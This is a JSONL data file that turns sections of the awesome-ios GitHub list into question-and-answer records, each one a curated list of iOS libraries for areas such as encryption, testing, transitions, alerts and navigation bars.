[RxReduce](https://github.com/RxSwiftCommunity/RxReduce) - Lightweight framework that ease the implementation of a state container pattern in a Reactive Programming compliant way.\n- [RxCoordinator](https://github.com/quickbirdstudios/XCoordinator) -  Powerful navigation library for iOS based on the coordinator pattern.\n- [RxAlamoRecord](https://github.com/Daltron/RxAlamoRecord) Combines the power of the AlamoRecord and RxSwift libraries to create a networking layer that makes interacting with API's easier than ever reactively.\n- [CwlSignal](https://github.com/mattgallagher/CwlSignal) A Swift framewor", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580023"}
{"id": "gh_3bc1f9aef3ad", "question": "How to: React-Like", "question_body": "About vsouza/awesome-ios", "answer": "- [Render](https://github.com/alexdrone/Render) - Swift and UIKit a la React.\n- [Katana](https://github.com/BendingSpoons/katana-swift) - Swift apps a la React and Redux.\n- [TemplateKit](https://github.com/mcudich/TemplateKit) - React-inspired framework for building component-based user interfaces in Swift.\n- [CoreEvents](https://github.com/surfstudio/CoreEvents) - Simple library with C#-like events.\n- [Tokamak](https://github.com/MaxDesiatov/Tokamak) - React-like framework providing a declarative API for building native UI components with easy to use one-way data binding.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580029"}
{"id": "gh_80ad4b3510fa", "question": "How to: Unofficial", "question_body": "About vsouza/awesome-ios", "answer": "- [STTwitter](https://github.com/nst/STTwitter) A stable, mature and comprehensive Objective-C library for Twitter REST API 1.1.\n- [FHSTwitterEngine](https://github.com/natesymer/FHSTwitterEngine) Twitter API for Cocoa developers.\n- [Giphy](https://github.com/heyalexchoi/Giphy-iOS) Giphy API client for iOS in Objective-C.\n- [UberKit](https://github.com/sachinkesiraju/UberKit) - A simple, easy-to-use Objective-C wrapper for the Uber API.\n- [InstagramKit](https://github.com/shyambhat/InstagramKit) - Instagram iOS SDK.\n- [DribbbleSDK](https://github.com/agilie/dribbble-ios-sdk) - Dribbble iOS SDK.\n- [objectiveflickr](https://github.com/lukhnos/objectiveflickr) - ObjectiveFlickr, a Flickr API framework for Objective-C.\n- [Easy Social](https://github.com/pjebs/EasySocial) - Twitter & Facebook Integration.\n- [das-quadrat](https://github.com/Constantine-Fry/das-quadrat) - A Swift wrapper for Foursquare API. iOS and macOS.\n- [SocialLib](https://github.com/darkcl/SocialLib) - SocialLib handles sharing message to multiple social media.\n- [PokemonKit](https://github.com/ContinuousLearning/PokemonKit) - Pokeapi wrapper, written in Swift.\n- [TJDropbox](https://github.com/timonus/TJDropbox) - A Dropbox v2 client library written in Objective-C\n- [GitHub.swift](https://github.com/onmyway133/github.swift) - :octocat: Unofficial GitHub API client in Swift\n- [CloudRail SI](https://github.com/CloudRail/cloudrail-si-ios-sdk) - Abstraction layer / unified API for multiple API providers. Interfaces eg for Cloud Storage (Dropbox, Google, ...), Social Networks (Facebook, Twitter, ...) and more.\n- [Medium SDK - Swift](https://github.com/96-problems/medium-sdk-swift) - Unofficial Medium API SDK in Swift with sample project.\n- [Swifter](https://github.com/mattdonnelly/Swifter) - :bird: A Twitter framework for iOS & macOS written in Swift.\n- [SlackKit](https://github.com/pvzig/SlackKit) - a Slack client library for iOS and macOS written in Swift.\n- [RandomUserSwift](https://github.com/dingwilson/RandomUserSwift) - Swift Framework to Generate Random Users - An Unofficial SDK for randomuser.me.\n- [PPEventRegistryAPI](https://github.com/pantuspavel/PPEventRegistryAPI/) - Swift 3 Framework for Event Registry API (eventregistry.org).\n- [UnsplashKit](https://github.com/modo-studio/UnsplashKit) - Swift client for Unsplash.\n- [Swiftly Salesforce](https://github.com/mike4aday/SwiftlySalesforce) - An easy-to-use framework for building iOS apps that integrate with Salesforce, using Swift and promises.\n- [Spartan](https://github.com/Daltron/Spartan) - An Elegant Spotify Web API Library Written in Swift for iOS and macOS.\n- [BigBoard](https://github.com/Daltron/BigBoard) - An Elegant Financial Markets Library Written in Swift that makes requests to Yahoo Finance API's under the hood.\n- [BittrexApiKit](https://github.com/saeid/BittrexApiKit) - Simple and complete Swift wrapper for Bittrex Exchange API.\n- [SwiftyVK](https://github.com/SwiftyVK/SwiftyVK) Library for easy interact with VK social network API written in Swift.\n- [ARKKit](https://github.com/sleepdefic1t/ARKKit) - ARK Ecosystem Cryptocurrency API Framework for iOS & macOS, written purely in Swift 4.0.\n- [SwiftInstagram](https://github.com/AnderGoig/SwiftInstagram) - Swift Client for Instagram API.\n- [SwiftyArk](https://github.com/Awalz/SwiftyArk) - A simple, lightweight, fully-asynchronous cryptocurrency framework for the ARK Ecosystem.\n- [PerfectSlackAPIClient](https://github.com/CaptainYukinoshitaHachiman/PerfectSlackAPIClient) - A Slack API Client for the Perfect Server-Side Swift Framework.\n- [Mothership](https://github.com/thecb4/MotherShip) - Tunes Connect Library inspired by FastLane.\n- [SwiftFlyer](https://github.com/rinov/SwiftFlyer) - An API wrapper for bitFlyer that supports all providing API.\n- [waterwheel.swift](https://github.com/kylebrowning/waterwheel.swift) - The Waterwheel Swift SDK provides classes to natively connect iOS, macOS, tvOS, and watchOS applications to Drupal 7 and 8.\n- [ForecastIO](https://github.com/sxg/ForecastIO) - A Swift library for the Forecast.io Dark Sky API.\n- [JamfKit](https://github.com/ethenyl/JamfKit) - A JSS communication framework written in Swift.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580051"}
{"id": "gh_75ff62589fe3", "question": "How to: Encryption", "question_body": "About vsouza/awesome-ios", "answer": "- [AESCrypt-ObjC](https://github.com/Gurpartap/AESCrypt-ObjC) - A simple and opinionated AES encrypt / decrypt Objective-C class that just works.\n- [IDZSwiftCommonCrypto](https://github.com/iosdevzone/IDZSwiftCommonCrypto) - A wrapper for Apple's Common Crypto library written in Swift.\n- [Arcane](https://github.com/onmyway133/Arcane) - Lightweight wrapper around CommonCrypto in Swift.\n- [SwiftMD5](https://github.com/mpurland/SwiftMD5) - A pure Swift implementation of MD5.\n- [SwiftHash](https://github.com/onmyway133/SwiftHash) - Hash in Swift.\n- [SweetHMAC](https://github.com/jancassio/SweetHMAC) - A tiny and easy to use Swift class to encrypt strings using HMAC algorithms.\n- [SwCrypt](https://github.com/soyersoyer/SwCrypt) - RSA public/private key generation, RSA, AES encryption/decryption, RSA sign/verify in Swift with CommonCrypto in iOS and macOS.\n- [SwiftSSL](https://github.com/SwiftP2P/SwiftSSL) - An Elegant crypto toolkit in Swift.\n- [SwiftyRSA](https://github.com/TakeScoop/SwiftyRSA) - RSA public/private key encryption in Swift.\n- [EnigmaKit](https://github.com/mikaoj/EnigmaKit) - Enigma encryption in Swift.\n- [Themis](https://github.com/cossacklabs/themis) - High-level crypto library, providing basic asymmetric encryption, secure messaging with forward secrecy and secure data storage, supports iOS/macOS, Android and different server side platforms.\n- [Obfuscator-iOS](https://github.com/pjebs/Obfuscator-iOS) - Secure your app by obfuscating all the hard-coded security-sensitive strings.\n- [swift-sodium](https://github.com/jedisct1/swift-sodium) - Safe and easy to use crypto for iOS.\n- [CryptoSwift](https://github.com/krzyzanowskim/CryptoSwift) - Crypto related functions and helpers for Swift implemented in Swift programming language.\n- [SCrypto](https://github.com/sgl0v/SCrypto) - Elegant Swift interface to access the CommonCrypto routines.\n- [SipHash](https://github.com/attaswift/SipHash) - Simple and secure hashing in Swift with the SipHash algorithm.\n- [RNCryptor](https://github.com/RNCryptor/RNCryptor) - CCCryptor (AES encryption) wrappers for iOS and Mac in Swift. -- For ObjC, see RNCryptor/RNCryptor-objc.\n- [CatCrypto](https://github.com/ImKcat/CatCrypto) - An easy way for hashing and encryption.\n- [SecureEnclaveCrypto](https://github.com/trailofbits/SecureEnclaveCrypto) - Demonstration library for using the Secure Enclave on iOS.\n- [RSASwiftGenerator](https://github.com/4taras4/RSASwiftGenerator) - Util for generation RSA keys on your client and save to keychain or cover into Data.\n- [Virgil Security Objective-C/Swift Crypto Library](https://github.com/VirgilSecurity/virgil-crypto-x) - A high-level cryptographic library that allows to perform all necessary operations for securely storing and transferring data.\n- [JOSESwift](https://github.com/airsidemobile/JOSESwift) - A framework for the JOSE standards JWS, JWE, and JWK written in Swift.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580062"}
{"id": "gh_faaacac6f9bd", "question": "How to: Style Guides", "question_body": "About vsouza/awesome-ios", "answer": "- [NY Times - Objective C Style Guide](https://github.com/NYTimes/objective-c-style-guide) - The Objective-C Style Guide used by The New York Times.\n- [raywenderlich Style Guide](https://github.com/raywenderlich/objective-c-style-guide) - A style guide that outlines the coding conventions for raywenderlich.com.\n- [GitHub Objective-C Style Guide](https://github.com/github/objective-c-style-guide) - Style guide & coding conventions for Objective-C projects.\n- [Objective-C Coding Convention and Best Practices](https://gist.github.com/soffes/812796) - Gist with coding conventions.\n- [Swift Style Guide by @raywenderlich](https://github.com/raywenderlich/swift-style-guide) - The official Swift style guide for raywenderlich.com.\n- [Spotify Objective-C Coding Style](https://github.com/spotify/ios-style) - Guidelines for iOS development in use at Spotify.\n- [GitHub - Style guide & coding conventions for Swift projects](https://github.com/github/swift-style-guide) - A guide to our Swift style and conventions by @github.\n- [Futurice iOS Good Practices](https://github.com/futurice/ios-good-practices) - iOS starting guide and good practices suggestions by [@futurice](https://github.com/futurice).\n- [SlideShare Swift Style Guide](https://github.com/SlideShareInc/swift-style-guide/blob/master/swift_style_guide.md) - SlideShare Swift Style Guide we are using for our upcoming iOS 8 only app written in Swift.\n- [Prolific Interactive Style Guide](https://github.com/prolificinteractive/swift-style-guide) - A style guide for Swift.\n- [Swift Style Guide by LinkedIn](https://github.com/linkedin/swift-style-guide) - LinkedIn's Official Swift Style Guide.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580072"}
{"id": "gh_b9e04b6449bb", "question": "How to: A/B Testing", "question_body": "About vsouza/awesome-ios", "answer": "- [Switchboard](https://github.com/KeepSafe/Switchboard) - Switchboard - easy and super light weight A/B testing for your mobile iPhone or android app. This mobile A/B testing framework allows you with minimal servers to run large amounts of mobile users.\n- [SkyLab](https://github.com/mattt/SkyLab) - Multivariate & A/B Testing for iOS and Mac.\n- [MSActiveConfig](https://github.com/mindsnacks/MSActiveConfig) - Remote configuration and A/B Testing framework for iOS.\n- [ABKit](https://github.com/recruit-mp/ABKit) - AB testing framework for iOS.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580078"}
{"id": "gh_77be11627e94", "question": "How to: UI Testing", "question_body": "About vsouza/awesome-ios", "answer": "- [appium](http://appium.io/) - Appium is an open source test automation framework for use with native and hybrid mobile apps.\n- [robotframework-appiumlibrary](https://github.com/serhatbolsu/robotframework-appiumlibrary) - AppiumLibrary is an appium testing library for RobotFramework.\n- [Cucumber](https://cucumber.io/) - Behavior driver development for iOS.\n- [Kif](https://github.com/kif-framework/KIF) - An iOS Functional Testing Framework.\n- [Subliminal](https://github.com/inkling/Subliminal) - An understated approach to iOS integration testing.\n- [ios-driver](http://ios-driver.github.io/ios-driver/index.html) - Test any iOS native, hybrid, or mobile web application using Selenium / WebDriver.\n- [Remote](https://github.com/johnno1962/Remote) - Control your iPhone from inside Xcode for end-to-end testing.\n- [LayoutTest-iOS](https://github.com/linkedin/LayoutTest-iOS) - Write unit tests which test the layout of a view in multiple configurations.\n- [EarlGrey](https://github.com/google/EarlGrey) - :tea: iOS UI Automation Test Framework.\n- [UI Testing Cheat Sheet](https://github.com/joemasilotti/UI-Testing-Cheat-Sheet) - How do I test this with UI Testing?\n- [Bluepill](https://github.com/linkedin/bluepill) - Bluepill is a reliable iOS testing tool that runs UI tests using multiple simulators on a single machine.\n- [Flawless App](https://flawlessapp.io/) - tool for visual quality check of mobile app in a real-time. It compares initial design with the actual implementation right inside iOS simulator.\n- [TouchVisualizer](https://github.com/morizotter/TouchVisualizer) - Lightweight touch visualization library in Swift. A single line of code and visualize your touches!\n- [UITestHelper](https://github.com/evermeer/UITestHelper) - UITest helper library for creating readable and maintainable tests.\n- [ViewInspector](https://github.com/nalexn/ViewInspector) - Runtime inspection and unit testing of SwiftUI views\n- [AutoMate](https://github.com/PGSSoft/AutoMate) - XCTest extensions for writing UI automation tests.\n- [Marathon Runner](https://github.com/MarathonLabs/marathon) - Fast, platform-independent test runner focused on performance and stability execute tests.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580086"}
{"id": "gh_4f8108ff14e8", "question": "How to: Other Testing", "question_body": "About vsouza/awesome-ios", "answer": "- [ETTrace](https://github.com/EmergeTools/ETTrace) - Locally measure performance of your app, without Xcode or Instruments.\n- [NaughtyKeyboard](https://github.com/Palleas/NaughtyKeyboard) - The Big List of Naughty Strings is a list of strings which have a high probability of causing issues when used as user-input data. This is a keyboard to help you test your app from your iOS device.\n- [Fakery](https://github.com/vadymmarkov/Fakery) - Swift fake data generator.\n- [DVR](https://github.com/venmo/DVR) - Network testing for Swift.\n- [Cuckoo](https://github.com/Brightify/Cuckoo) - First boilerplate-free mocking framework for Swift.\n- [Vinyl](https://github.com/Velhotes/Vinyl) - Network testing à la VCR in Swift.\n- [Mockit](https://github.com/sabirvirtuoso/Mockit) - A simple mocking framework for Swift, inspired by the famous Mockito for Java.\n- [Cribble](https://github.com/maxsokolov/Cribble) - Swifty tool for visual testing iPhone and iPad apps.\n- [second_curtain](https://github.com/ashfurrow/second_curtain) - Upload failing iOS snapshot tests cases to S3.\n- [trainer](https://github.com/fastlane-community/trainer) - Convert xcodebuild plist files to JUnit reports.\n- [Buildasaur](https://github.com/buildasaurs/Buildasaur) - Automatic testing of your Pull Requests on GitHub and BitBucket using Xcode Server. Keep your team productive and safe. Get up and running in minutes.\n- [Kakapo](https://github.com/devlucky/Kakapo) - Dynamically Mock server behaviors and responses in Swift.\n- [AcceptanceMark](https://github.com/bizz84/AcceptanceMark) Tool to auto-generate Xcode tests classes from Markdown tables.\n- [MetovaTestKit](https://github.com/metova/MetovaTestKit) - A collection of testing utilities to turn crashing test suites into failing test suites.\n- [MirrorDiffKit](https://github.com/Kuniwak/MirrorDiffKit) - Pretty diff between any structs or classes.\n- [SnappyTestCase](https://github.com/tooploox/SnappyTestCase) - iOS Simulator type agnostic snapshot testing, built on top of the FBSnapshotTestCase.\n- [XCTestExtensions](https://github.com/shindyu/XCTestExtensions) - XCTestExtensions is a Swift extension that provides convenient assertions for writing Unit Test.\n- [OCMock](https://ocmock.org/) - Mock objects for Objective-C.\n- [Mockingjay](https://github.com/kylef/Mockingjay) - An elegant library for stubbing HTTP requests with ease in Swift.\n- [PinpointKit](https://github.com/Lickability/PinpointKit) - Let your testers and users send feedback with annotated screenshots and logs using a simple gesture.\n- [iOS Snapshot Test Case](https://github.com/uber/ios-snapshot-test-case) — Snapshot test your UIViews and CALayers on iOS and tvOS.\n- [DataFixture](https://github.com/andreadelfante/DataFixture) - Creation of data model easily, with no headache.\n- [SnapshotTesting](https://github.com/pointfreeco/swift-snapshot-testing) - Delightful Swift snapshot testing.\n- [Mockingbird](https://github.com/Farfetch/mockingbird) - Simplify software testing, by easily mocking any system using HTTP/HTTPS, allowing a team to test and develop against a service that is not complete, unstable or just to reproduce planned cases.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580099"}
{"id": "gh_3865bdbc3bcf", "question": "How to: Transition", "question_body": "About vsouza/awesome-ios", "answer": "- [BlurryModalSegue](https://github.com/Citrrus/BlurryModalSegue) - A custom modal segue for providing a blurred overlay effect.\n- [DAExpandAnimation](https://github.com/ifitdoesntwork/DAExpandAnimation) - A custom modal transition that presents a controller with an expanding effect while sliding out the presenter remnants.\n- [BubbleTransition](https://github.com/andreamazz/BubbleTransition) - A custom modal transition that presents and dismiss a controller with an expanding bubble effect.\n- [RPModalGestureTransition](https://github.com/naoyashiga/RPModalGestureTransition) - You can dismiss modal by using gesture.\n- [RMPZoomTransitionAnimator](https://github.com/recruit-mp/RMPZoomTransitionAnimator) - A custom zooming transition animation for UIViewController.\n- [ElasticTransition](https://github.com/lkzhao/ElasticTransition) - A UIKit custom transition that simulates an elastic drag. Written in Swift.\n- [ElasticTransition-ObjC](https://github.com/taglia3/ElasticTransition-ObjC) - A UIKit custom transition that simulates an elastic drag.This is the Objective-C Version of Elastic Transition written in Swift by lkzhao.\n- [ZFDragableModalTransition](https://github.com/zoonooz/ZFDragableModalTransition) - Custom animation transition for present modal view controller.\n- [ZOZolaZoomTransition](https://github.com/NewAmsterdamLabs/ZOZolaZoomTransition) - Zoom transition that animates the entire view hierarchy. Used extensively in the Zola iOS application.\n- [JTMaterialTransition](https://github.com/jonathantribouharet/JTMaterialTransition) - An iOS transition for controllers based on material design.\n- [AnimatedTransitionGallery](https://github.com/shu223/AnimatedTransitionGallery) - Collection of iOS 7 custom animated transitions using UIViewControllerAnimatedTransitioning protocol.\n- [TransitionTreasury](https://github.com/DianQK/TransitionTreasury) - Easier way to push your viewController.\n- [Presenter](https://github.com/muukii/Presenter) - Screen transition with safe and clean code.\n- [Kaeru](https://github.com/bannzai/Kaeru) - Switch viewcontroller like iOS task manager.\n- [View2ViewTransition](https://github.com/naru-jpn/View2ViewTransition) - Custom interactive view controller transition from one view to another view.\n- [AZTransitions](https://github.com/azimin/AZTransitions) - API to make great custom transitions in one method.\n- [Hero](https://github.com/HeroTransitions/Hero) - Elegant transition library for iOS & tvOS.\n- [Motion](https://github.com/CosmicMind/Motion) - Seamless animations and transitions in Swift.\n- [PresenterKit](https://github.com/jessesquires/PresenterKit) - Swifty view controller presentation for iOS.\n- [Transition](https://github.com/Touchwonders/Transition) - Easy interactive interruptible custom ViewController transitions.\n- [Gagat](https://github.com/Boerworz/Gagat) - A delightful way to transition between visual styles in your iOS applications.\n- [DeckTransition](https://github.com/HarshilShah/DeckTransition) - A library to recreate the iOS Apple Music now playing transition.\n- [TransitionableTab](https://github.com/ParkGwangBeom/TransitionableTab) - TransitionableTab makes it easy to animate when switching between tab.\n- [AlertTransition](https://github.com/loopeer/AlertTransition) - AlertTransition is a extensible library for making view controller transitions, especially for alert transitions.\n- [SemiModalViewController](https://github.com/muyexi/SemiModalViewController) - Present view / view controller as bottom-half modal.\n- [ImageTransition](https://github.com/shtnkgm/ImageTransition) - ImageTransition is a library for smooth animation of images during transitions.\n- [LiquidTransition](https://github.com/AlexandrGraschenkov/LiquidTransition) - removes boilerplate code to perform transition, allows backward animations, custom properties animation and much more!\n- [SPStorkController](https://github.com/IvanVorobei/SPStorkController) - Very similar to the controllers displayed in Apple Music, Podcasts and Mail Apple's applications.\n- [AppstoreTransition](https://github.com/appssemble/appstore-card-transition) - Simulates the appstore card animation transition.\n- [DropdownTransition](https://github.com/nugmanoff/DropdownTransition) - Simple and elegant Dropdown Transition for presenting controllers from top to bottom.\n- [NavigationTransitions](https://github.com/davdroman/swiftui-navigation-transitions) - Pure SwiftUI Navigation transitions.\n- [LiquidSwipe](https://github.com/exyte/LiquidSwipe) - Liquid navigation animation\n- [TBIconTransitionKit](https://github.com/AlexeyBelezeko/TBIconTransitionKit) - Easy to use icon transition kit that allows to smoothly change from one shape to another.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580164"}
{"id": "gh_d9b7e830ef38", "question": "How to: Alert & Action Sheet", "question_body": "About vsouza/awesome-ios", "answer": "- [SweetAlert](https://github.com/codestergit/SweetAlert-iOS) - Live animated Alert View for iOS written in Swift.\n- [NYAlertViewController](https://github.com/nealyoung/NYAlertViewController) - Highly configurable iOS Alert Views with custom content views.\n- [SCLAlertView-Swift](https://github.com/vikmeup/SCLAlertView-Swift) - Beautiful animated Alert View, written in Swift.\n- [TTGSnackbar](https://github.com/zekunyan/TTGSnackbar) - Show simple message and action button on the bottom of the screen with multi kinds of animation.\n- [Swift-Prompts](https://github.com/GabrielAlva/Swift-Prompts) - A Swift library to design custom prompts with a great scope of options to choose from.\n- [BRYXBanner](https://github.com/bryx-inc/BRYXBanner) - A lightweight dropdown notification for iOS 7+, in Swift.\n- [LNRSimpleNotifications](https://github.com/LISNR/LNRSimpleNotifications) - Simple Swift in-app notifications. LNRSimpleNotifications is a simplified Swift port of TSMessages.\n- [HDNotificationView](https://github.com/nhdang103/HDNotificationView) - Emulates the native Notification Banner UI for any alert.\n- [JDStatusBarNotification](https://github.com/calimarkus/JDStatusBarNotification) - Easy, customizable notifications displayed on top of the statusbar.\n- [Notie](https://github.com/thii/Notie) - In-app notification in Swift, with customizable buttons and input text field.\n- [EZAlertController](https://github.com/thellimist/EZAlertController) - Easy Swift UIAlertController.\n- [GSMessages](https://github.com/wxxsw/GSMessages) - A simple style messages/notifications for iOS 7+.\n- [OEANotification](https://github.com/OEA/OEANotification) - In-app customizable notification views on top of screen for iOS which is written in Swift 2.1.\n- [RKDropdownAlert](https://github.com/cwRichardKim/RKDropdownAlert) - Extremely simple UIAlertView alternative.\n- [TKSwarmAlert](https://github.com/entotsu/TKSwarmAlert) - Animated alert library like Swarm app.\n- [SimpleAlert](https://github.com/KyoheiG3/SimpleAlert) - Customizable simple Alert and simple ActionSheet for Swift.\n- [Hokusai](https://github.com/ytakzk/Hokusai) - A Swift library to provide a bouncy action sheet.\n- [SwiftNotice](https://github.com/johnlui/SwiftNotice) - SwiftNotice is a GUI library for displaying various popups (HUD) written in pure Swift, fits any scrollview.\n- [SwiftOverlays](https://github.com/peterprokop/SwiftOverlays) - SwiftOverlays is a Swift GUI library for displaying various popups and notifications.\n- [SwiftyDrop](https://github.com/morizotter/SwiftyDrop) - SwiftyDrop is a lightweight pure Swift simple and beautiful dropdown message.\n- [LKAlertController](https://github.com/Lightningkite/LKAlertController) - An easy to use UIAlertController builder for swift.\n- [DOAlertController](https://github.com/okmr-d/DOAlertController) - Simple Alert View written in Swift, which can be used as a UIAlertController. (AlertController/AlertView/ActionSheet).\n- [CustomizableActionSheet](https://github.com/beryu/CustomizableActionSheet) - Action sheet allows including your custom views and buttons.\n- [Toast-Swift](https://github.com/scalessec/Toast-Swift) - A Swift extension that adds toast notifications to the UIView object class.\n- [PMAlertController](https://github.com/pmusolino/PMAlertController) - PMAlertController is a great and customizable substitute to UIAlertController.\n- [PopupViewController](https://github.com/dimillian/PopupViewController) - UIAlertController drop in replacement with much more customization.\n- [AlertViewLoveNotification](https://github.com/PhilippeBoisney/AlertViewLoveNotification) - A simple and attractive AlertView to ask permission to your users for Push Notification.\n- [CRToast](https://github.com/cruffenach/CRToast) - A modern iOS toast view that can fit your notification needs.\n- [JLToast](https://github.com/devxoul/Toaster) - Toast for iOS with very simple interface.\n- [CuckooAlert](https://github.com/rollmind/CuckooAlert) - Multiple use of presentViewController for UIAlertController.\n- [KRAlertController](https://github.com/krimpedance/KRAlertController) - A colored alert view for your iOS.\n- [Dodo](https://github.com/evgenyneu/Dodo) - A message bar for iOS written in Swift.\n- [MaterialActionSheetController](https://github.com/ntnhon/MaterialActionSheetController) - A Google like action sheet for iOS written in Swift.\n- [SwiftMessages](https://github.com/SwiftKickMobile/SwiftMessages) - A very flexible message bar for iOS written in Swift.\n- [FCAlertView](https://github.com/krispenney/FCAlertView) - A Flat Customizable AlertView for iOS. (Swift).\n- [FCAlertView](https://github.com/nimati/FCAlertView) - A Flat Customizable AlertView for iOS. (Objective-C).\n- [CDAlertView](https://github.com/candostdagdeviren/CDAlertView) - Highly customizable alert/notification/success/error/alarm popup.\n- [RMActionController](https://github.com/CooperRS/RMActionController) - Present any UIView in an UIAlertController like manner.\n- [RMDateSelectio", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580198"}
{"id": "gh_9611517cba5d", "question": "How to: Form & Settings", "question_body": "About vsouza/awesome-ios", "answer": "*Input validators, form helpers and form builders.*\n\n- [Form](https://github.com/hyperoslo/Form) - The most flexible and powerful way to build a form on iOS\n- [XLForm](https://github.com/xmartlabs/XLForm) - XLForm is the most flexible and powerful iOS library to create dynamic table-view forms. Fully compatible with Swift & Obj-C.\n- [Eureka](https://github.com/xmartlabs/Eureka) - Elegant iOS form builder in Swift.\n- [YALField](https://github.com/Yalantis/YALField) - Custom Field component with validation for creating easier form-like UI from interface builder.\n- [Former](https://github.com/ra1028/Former) - Former is a fully customizable Swift2 library for easy creating UITableView based form.\n- [SwiftForms](https://github.com/ortuman/SwiftForms) - A small and lightweight library written in Swift that allows you to easily create forms.\n- [Formalist](https://github.com/seedco/Formalist) - Declarative form building framework for iOS\n- [SwiftyFORM](https://github.com/neoneye/SwiftyFORM) - SwiftyFORM is a form framework for iOS written in Swift\n- [SwiftValidator](https://github.com/SwiftValidatorCommunity/SwiftValidator) - A rule-based validation library for Swift\n- [GenericPasswordRow](https://github.com/EurekaCommunity/GenericPasswordRow) - A row for Eureka to implement password validations.\n- [formvalidator-swift](https://github.com/ustwo/formvalidator-swift) - A framework to validate inputs of text fields and text views in a convenient way.\n- [ValidationToolkit](https://github.com/nsagora/validation-toolkit) - Lightweight framework for input validation written in Swift.\n- [ATGValidator](https://github.com/altayer-digital/ATGValidator) - Rule based validation framework with form and card validation support for iOS.\n- [ValidatedPropertyKit](https://github.com/SvenTiigi/ValidatedPropertyKit) - Easily validate your Properties with Property Wrappers.\n- [FDTextFieldTableViewCell](https://github.com/fulldecent/FDTextFieldTableViewCell) - Adds a UITextField to the cell and places it correctly.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580214"}
{"id": "gh_9adf2267fc04", "question": "How to: Navigation Bar", "question_body": "About vsouza/awesome-ios", "answer": "- [HidingNavigationBar](https://github.com/tristanhimmelman/HidingNavigationBar) - Easily hide and show a view controller's navigation bar (and tab bar) as a user scrolls\n- [KMNavigationBarTransition](https://github.com/MoZhouqi/KMNavigationBarTransition) - A drop-in universal library helps you to manage the navigation bar styles and makes transition animations smooth between different navigation bar styles while pushing or popping a view controller for all orientations.\n- [LTNavigationBar](https://github.com/ltebean/LTNavigationBar) - UINavigationBar Category which allows you to change its appearance dynamically\n- [BusyNavigationBar](https://github.com/gmertk/BusyNavigationBar) - A UINavigationBar extension to show loading effects\n- [KDInteractiveNavigationController](https://github.com/kingiol/KDInteractiveNavigationController) - A UINavigationController subclass that support pop interactive UINavigationbar with hidden or show.\n- [AMScrollingNavbar](https://github.com/andreamazz/AMScrollingNavbar) - Scrollable UINavigationBar that follows the scrolling of a UIScrollView\n- [NavKit](https://github.com/wilbertliu/NavKit) - Simple and integrated way to customize navigation bar experience on iOS app.\n- [RainbowNavigation](https://github.com/DanisFabric/RainbowNavigation) - An easy way to change backgroundColor of UINavigationBar when Push & Pop\n- [TONavigationBar](https://github.com/TimOliver/TONavigationBar) - A simple subclass that adds the ability to set the navigation bar background to 'clear' and gradually transition it visibly back in, similar to the effect in the iOS Music app.\n\n**[back to top](#contributing-and-collaborating)**", "tags": ["vsouza"], "source": "github_gists", "category": "vsouza", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 51023, "answer_score": 10, "has_code": false, "url": "https://github.com/vsouza/awesome-ios", "collected_at": "2026-01-17T08:20:33.580236"}
